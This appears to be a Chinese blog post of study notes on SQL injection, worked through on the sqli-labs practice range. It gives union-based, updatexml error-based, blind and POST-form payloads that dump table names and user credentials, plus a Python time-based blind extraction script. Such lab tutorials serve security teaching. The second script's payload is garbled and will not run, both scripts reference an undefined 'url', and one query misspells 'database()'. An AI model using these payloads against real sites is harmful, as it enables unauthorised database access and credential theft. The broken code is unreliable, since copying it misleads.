sql注入知识整理

sql注入知识整理

一、SQL注入概念

SQL注入就是用户输入的一些语句没有被过滤,输入后诸如这得到了数据库的信息SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 数据库引擎的实例以进行分析和执行。 任何构成 SQL 语句的过程都应进行注入漏洞检查,因为数据库引擎将执行其接收到的所有语法有效的查询。

工作原理:

SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。 一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。 在存储的字符串随后串连到一个动态 SQL 命令中时,将执行该恶意代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。 由于插入的命令可能在执行前追加额外字符串,因此攻击者将用批注标记 -- 来标记终止注入的字符串。

二、sqllab靶场

在这里插入图片描述

联合注入

用order by检测列数,让第一个表查询为空,最终是为了注入管理员的账号密码,首先要管理员表名,要列名

我们需要注意的是在SQL注入中单引号,空格,#都会转义为%27,%20,%23

less-1/?id=1‘ order by 3--+

在这里插入图片描述
这里还能显示出来账号密码

less-1/?id=1‘ order by 4--+

在这里插入图片描述
这里黄色注释说明数据库一共只有三列。

然后利用联合查询

less-1/?id=-1'union select 1,2,3--+

使用 -1 作为 id 参数的原因通常是为了确保前面的查询部分没有返回任何有效的记录

在这里插入图片描述

现在我们就可以来爆破它的数据库名

less-1/?id=-1'union select 1,database(),version()--+

在这里插入图片描述

在这里插入图片描述

我们可以定位到这两个:

在这里插入图片描述

在这里插入图片描述

这里面有两张一个表名,一个是列名,于是我么可以尝试注入

less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述

less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

报错注入

less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
  • updatexml 函数的第一个参数,它通常应该是一个 XML 类型的表达式,但在这里它被用作引发错误的方式。
  • 0x7e:这是十六进制表示的 ~ 字符。它用来在错误消息中包裹输出内容。
  • (SELECT database()):这是一个子查询,用于获取当前数据库的名称。
  • concat(…):将这些片段连接成一个字符串,形式为 数据库名
  • updatexml 函数的第三个参数,也是用来引发错误的方式。
  • group by分组
    在这里插入图片描述

盲注

SQL注入是一种安全漏洞,攻击者通过向应用程序的输入字段插入SQL命令,影响数据库的执行。盲注是一种特殊的SQL注入形式,它不需要直接从应用程序获取错误信息,而是通过时间延迟来推断数据库的响应。

盲注的种类通常包括:

  1. 基于布尔的盲注:攻击者使用条件表达式(如 AND (SELECT ...)=(SELECT ...))来判断查询是否返回结果,从而推断数据。
  2. 基于时间的盲注:攻击者使用SLEEP()函数或其他导致延迟的函数来判断查询是否返回结果。
  3. 基于错误的盲注:攻击者使用UNION SELECT查询来获取数据库的错误信息。

页面有真有假

在这里插入图片描述

在这里插入图片描述

less-8/?id=1'and ascii(substr((select database()),1,1))=115--+

在这里,substr((select database()),1,1) 表示从数据库名称中提取第一个字符,这里=号也可以换成< >符号进行判断

less-8/?id=1'and length((select database()))>9--+

主要用到substr,ascii,length函数。

可以通过二分查找的python脚本直接将数据库名跑出来:

l = 'http://127.0.0.1/sql/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

通过修改payload再将列名跑出:


l = 'http://127.0.0.1/sql/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr((selectgroup_concat(table_namefrpm)information——schema。tables where table_schema=’security‘, %d, 1)) > %d--% (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

POST注入

post注入本质在于将用户输入的数据作为代码执行。这种攻击通常发生在用户通过POST请求提交数据时,如果程序没有对用户输入进行适当的过滤或验证,攻击者就可以通过在提交的数据中插入恶意注入来访问、修改或删除数据库中的数据。POST注入的高危点包括登录框、查询框以及任何与数据库有交互的表单。

1、输入1’出现报错语句,发现注入点

在这里插入图片描述

2、爆出列数

在使用order时候,发现使用第三行排序时会报错

在这里插入图片描述

3、使用联合查询爆出数库名

-1' union select databane(),2#

在这里插入图片描述
在这里插入图片描述

4,爆出表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

在这里插入图片描述

5,爆出列字

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

在这里插入图片描述

6.出数据

-1' union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

  • 14
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Smiling Mr. Rui

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值